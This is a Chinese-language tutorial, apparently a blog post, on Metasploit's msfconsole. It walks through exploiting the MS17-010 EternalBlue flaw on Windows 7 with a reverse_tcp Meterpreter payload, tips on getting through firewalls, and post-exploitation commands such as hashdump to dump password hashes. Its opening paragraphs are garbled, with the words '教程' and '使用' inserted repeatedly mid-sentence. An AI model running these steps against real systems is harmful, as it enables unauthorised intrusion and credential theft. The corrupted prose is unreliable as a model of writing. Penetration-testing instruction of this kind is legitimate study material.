msfconsole是使用Metasploit框架的核心交互界面。别被它黑乎乎的教程窗口吓到,这玩意儿比图形化工具Xeoma或者Armitage都来得直接。使用你敲进去的教程每一条命令,都在和一台装了数万个漏洞利用模块的使用机器对话。
启动它只需要一条命令:msfconsole。教程第一次跑起来会有点慢,使用数据库初始化要等几秒。教程等提示符变成msf6 >,使用你就站在了一座军火库门口。教程这里有个小习惯值得培养——先输入help扫一眼,使用别急着乱敲。教程我见过太多人上来就use exploit/...,使用结果连set RHOSTS都拼错。教程
挑个实战例子说吧。使用假设你想测试一台Windows 7机器是否还开着MS17-010(永恒之蓝)漏洞。输入:
search ms17-010 返回结果会列出相关模块。选那个exploit/windows/smb/ms17_010_eternalblue,然后use它。这时候提示符变成msf6 exploit(...) >,说明你进入了模块上下文。别慌,用info查看这个模块的详细说明——里面会告诉你哪些目标系统受影响,哪些payload能用。
设置参数是重头戏。每个模块都有必填项,用show options查看。常见坑位是RHOSTS(目标IP)和RPORT(目标端口)。填错一个字母,攻击就会失败,而且报错信息往往很含糊。所以养成习惯,set RHOSTS 192.168.1.10之后,再show options确认一遍。别嫌麻烦,我因为手滑把LHOST写成RHOST白等过五分钟。
payload的选择决定了你拿到什么样的shell。想直接获得meterpreter会话,就设set payload windows/x64/meterpreter/reverse_tcp。记住,LHOST必须是你本机IP,LPORT是监听端口。这些值设不对,反弹shell根本连不回来。有个细节:如果目标机防火墙严格,443端口往往比4444更容易穿透。
一切就绪后,敲exploit或run。屏幕开始滚动,如果幸运,你会看到Meterpreter session 1 opened。这时输入shell就能拿到系统命令行。但别高兴太早——meterpreter里能做的远比cmd多。sysinfo查看系统信息,getuid看当前权限,hashdump导出密码哈希。这些命令组合起来,足够你完成一次标准的后渗透侦察。
用完后记得清理。background把会话挂到后台,sessions -i 1重新连接。search功能能帮你快速定位模块,比如search type:exploit platform:windows只显示Windows下的利用模块。数据库功能也别浪费——db_nmap可以直接调用Nmap扫描并把结果存进数据库,省得你手动复制粘贴。
实在卡住了,help后面加个模块名,比如help shell。或者直接去官方文档翻特定模块的用法。说实话,msfconsole的学习曲线陡峭,但一旦你习惯了它的命令行逻辑,会发现自己比用任何图形化工具都快。毕竟漏洞利用本身就是个精细活,命令行反而能让你看清每一步在做什么。